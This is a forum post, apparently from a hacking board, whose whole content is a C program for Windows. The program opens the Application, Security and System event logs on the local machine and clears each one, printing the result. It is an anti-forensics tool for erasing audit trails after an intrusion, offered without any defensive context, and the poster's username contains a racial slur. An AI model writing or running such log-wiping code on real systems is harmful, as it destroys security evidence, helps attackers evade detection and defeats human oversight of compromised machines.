View Single Post
  #1  
Old 03-19-2025, 07:45 AM

lilbossnigga lilbossnigga is offline
Join Date: Mar 2021
Posts: 2
Default


Code:
#include <stdio.h>
#include <windows.h>
int main()
{
HANDLE hEventLogHandle;
const CHAR* chLogFileNameList[] = { "Application\0","Security\0","System\0" };
int iCount = 0;
CHAR chComputerNameBuffer[256];
DWORD dwComputerNameBufferSize = sizeof(chComputerNameBuffer);
SecureZeroMemory(chComputerNameBuffer,sizeof(chCom puterNameBuffer));
printf("Coded by sasami_327\n\n");
if ( !GetComputerName(chComputerNameBuffer,&dwComputerN ameBufferSize) )
{
printf("Fail to GetComputerName\n");
ExitProcess(1);
}
else
{
printf("[+] %s\n",chComputerNameBuffer);
}
for ( iCount = 0; iCount < sizeof(chLogFileNameList)/sizeof(chLogFileNameList[0]); iCount++ )
{
hEventLogHandle = OpenEventLog(chComputerNameBuffer,chLogFileNameLis t[iCount]);
if ( hEventLogHandle == NULL )
{
printf("[-] OPEN FAILED: %s\n",chLogFileNameList[iCount]);
continue;
}
else
{
printf("[+] OPEN SUCCESSED: %s\n",chLogFileNameList[iCount]);
}
if ( !ClearEventLog(hEventLogHandle,NULL) )
{
printf("[-] CLEAR FAILED: %s\n",chLogFileNameList[iCount]);
CloseEventLog(hEventLogHandle);
continue;
}
else
{
printf("[+] CLEAR SUCCESSED: %s\n",chLogFileNameList[iCount]);
CloseEventLog(hEventLogHandle);
}
}
return 0;
}